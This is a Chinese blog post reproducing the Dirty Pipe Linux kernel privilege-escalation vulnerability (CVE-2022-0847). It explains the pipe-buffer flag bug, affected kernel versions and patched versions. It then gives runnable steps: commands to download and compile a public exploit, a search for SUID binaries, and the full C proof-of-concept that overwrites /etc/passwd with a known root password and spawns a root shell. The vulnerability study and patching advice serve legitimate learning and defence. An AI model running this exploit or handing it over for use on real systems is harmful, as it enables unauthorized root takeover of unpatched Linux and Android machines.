2022-0847_DirtyPipe脏管道提权漏洞复现
本文最后更新于 2024-09-02,文章内容可能已经过时。
2022-0847_DirtyPipe脏管道提权漏洞复现
漏洞简介
2022年3月初,国外安全研究人员披露了一个新的Android/Linux内核的高危漏洞,漏洞编号为CVE-2022-0847。由于类似大名鼎鼎的DirtyCOW(脏牛)漏洞,又被命名为DirtyPipe(脏管道)。漏洞从上游linux内核5.8版本的一个补丁引入,影响所有使用linux内核的操作系统,在最新的手机系统Android12+kernel5.10上也有巨大安全危害。经过我们内部研究发现,使用DirtyPipe结合利用技术甚至能够发挥出万花筒写轮眼般的实战效果。
CVSS 评分:7.8
影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
RT 通过 CVE-2022-0847 可覆盖重写任意可读文件中的数据,可将普通权限的用户提升到特权 root
这个漏洞作者将其命名为了 Dirty Pipe,一看到这名字讲道理就让人想到了 Dirty Cow,这是因为该漏洞的原理比较类似于 Dirty Cow,但这个漏洞更容易被利用。
注意此漏洞脚本会修改root密码,脚本会自动备份在/tmp/passwd.bak,还原即可
https://www.exploit-db.com/exploits/50808
漏洞原理概述
Dirtypipe漏洞允许向任意可读文件中写数据,可造成非特权进程向root进程注入代码。该漏洞发生linux内核空间通过splice方式实现数据拷贝时,以"零拷贝"的形式(将文件缓存页作为pipe的buf页使用)将文件发送到pipe,并且没有初始化pipe缓存页管理数据结构的flag成员。若提前操作管道,将flag成员设置为PIPE_BUF_FLAG_CAN_MERGE,就会导致文件缓存页会在后续pipe通道中被当成普通pipe缓存页,进而被续写和篡改。在这种情况下内核并不会将这个缓存页判定为"脏页",不会刷新到磁盘。在原缓存页的有效期内所有访问该文件的场景都将使用被篡改的文件缓存页,而不会重新打开磁盘中的正确文件读取内容,因此达成一个"对任意可读文件任意写"的操作,即可完成本地提权。
环境搭建和漏洞检测
建议在搭建环境前,先打好快照
环境依赖:
- Ubuntu 16.04 或 18.04(推荐)(这里我直接用的是kali主机因为内核和Ubuntu差不多)
- Python >= 3.6 (不支持Python 2.x!)
- pip3
环境搭建好后,查看当前系统内核
运行linpeas漏洞检测,发现了脏管道提权,确定受漏洞影响,可以看到这里提供了下载链接。
https://haxx.in/files/dirtypipez.c
使用wget下载下来,使用gcc进行编译
mkdir /root/桌面/EXP/2022-0847_DirtyPipe
cd /root/桌面/EXP/2022-0847_DirtyPipe
wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o exp
切换到普通用户,运行后发现需要suid,这是由于这个 POC 需要事先找到一个具有 SUID 权限的可执行文件,然后利用这个文件进行提权
使用以下命令可以查找系统中所有具有设置用户ID(Set UID)权限的文件
find / -perm -u=s -type f 2>/dev/null
# find:用于在目录结构中搜索文件和目录的命令。
# /:表示从根目录开始搜索。
# -perm -u=s:只匹配具有设置用户ID位的文件。
# -type f:只匹配文件(不包括目录)。
# 2>/dev/null:将错误输出重定向到 /dev/null,即忽略错误信息(如权限不足等)。
或者
find / -perm /4000
#-perm /4000:查找任何具有设置用户ID位的文件。这里的 4000 是八进制表示,表示文件的权限位中设置用户ID位被设置为1
这里就以 /bin/su 为例了,直接 ./exp 跟上具有 SUID 权限的文件即可提权
./exp /bin/su
漏洞修复建议
更新升级 Linux 内核到以下安全版本:
- Linux 内核 >= 5.16.11
- Linux 内核 >= 5.15.25
- Linux 内核 >= 5.10.102
漏洞原理分析
DirtyPipe攻击流程
- 将所有管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位
- 清空管道缓冲区
- 使用splice函数获取文件所对应的物理页
- 使用pipe_write函数对拥有PIPE_BUF_FLAG_CAN_MERGE标志位的处理,对获得文件对应的物理页进行写入操作,从而达到对只读文件写入的操作
DirtyPipe利用的限制
- 对文件有读权限,因为splice函数会首先判断对文件是否有可读权限,若无则无法正常执行
- 由于DirtyPipe是对文件对应的物理做覆写操作,因此不能修改超过文件本身大小的数据,以及文件的第一个字节无法被修改(因为splice函数需要移动至少一字节数据)
- 由于DirtyPipe是对物理页进行修改,因此修改数据大小也不能超过一页
完整的poc代码
注意此脚本会修改root密码,脚本会自动备份在/tmp/passwd.bak,还原即可
poc 链接:https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/blob/main/exploit.c
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv) {
const char *const path = "/etc/passwd";
printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
FILE *f1 = fopen("/etc/passwd", "r");
FILE *f2 = fopen("/tmp/passwd.bak", "w");
if (f1 == NULL) {
printf("Failed to open /etc/passwd\n");
exit(EXIT_FAILURE);
} else if (f2 == NULL) {
printf("Failed to open /tmp/passwd.bak\n");
fclose(f1);
exit(EXIT_FAILURE);
}
char c;
while ((c = fgetc(f1)) != EOF)
fputc(c, f2);
fclose(f1);
fclose(f2);
loff_t offset = 4; // after the "root"
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron
printf("Setting root password to \"aaron\"...");
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
system("/bin/sh -c '(echo aaron; cat) | su - -c \""
"echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
"cp /tmp/passwd.bak /etc/passwd;"
"echo \\\"Done! Popping shell...\\\";"
"sleep 2;"
"echo \\\"(run commands now)\\\";"
"/bin/sh;" // one shold work
"\" root'");
printf("system() function call seems to have failed :(\n");
return EXIT_SUCCESS;
}
具体复现过程
1、将上面那段代码保存到一个C文件里面,然后gcc编译
2、编译后直接运行就可以提权了。
- 感谢你赐予我前进的力量